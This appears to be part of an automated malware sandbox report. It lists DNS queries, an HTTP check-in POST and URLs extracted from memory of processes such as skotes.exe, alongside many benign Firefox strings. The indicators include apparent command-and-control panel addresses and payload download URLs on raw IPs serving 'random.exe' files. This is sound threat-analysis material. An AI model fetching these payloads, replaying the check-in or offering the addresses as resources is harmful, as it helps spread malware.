Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: grahm.xyz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeT
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeb
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/H
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp, 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/os
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5G
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001973000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5d1ef941bc7800
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpEGn
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHSl
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpIGb
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpKs
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQU
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpmx
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.0000000001986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpq
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 1c49dbdc29.exe, 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206W
Source: 1c49dbdc29.exe, 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206h
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.f
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/$
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php524001
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe2
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxe
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ngineer
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ta
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3461057569.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/encoxx/random.exe
Source: skotes.exe, 0000000D.00000002.3461057569.00000000015B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/encoxx/random.exe0
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/encoxx/random.exe7K
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe#
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 0000000D.00000002.3461057569.0000000001614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeedu
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: firefox.exe, 0000001C.00000003.3156861635.000001F34B8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000003.3156861635.000001F34B8BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000003.3030202953.000001F3495DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3206737034.000001F3495A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3206737034.000001F3495DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3038642603.000001F3495DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3132472351.000001F351513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3038642603.000001F3495A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3030741808.000001F3495DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3038642603.000001F3495EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3031855783.000001F3469D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3030969479.000001F34956B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3031855783.000001F3469DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3029789690.000001F3495DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 01ea17bf64.exe, 00000025.00000000.3260407950.0000000000423000.00000002.00000001.01000000.00000018.sdmp, random[2].exe.13.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: firefox.exe, 0000001C.00000003.3156861635.000001F34B8CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: mozilla-temp-41.28.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001C.00000003.3165671808.000001F34A571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3040583773.000001F34906D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3236563678.000001F34906D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000003.3169973945.000001F34A82D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3176989775.000001F34A84F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001C.00000003.3185586082.000001F34A878000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3169973945.000001F34A82D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3176989775.000001F34A84F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3169973945.000001F34A840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001C.00000003.3176989775.000001F34A834000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
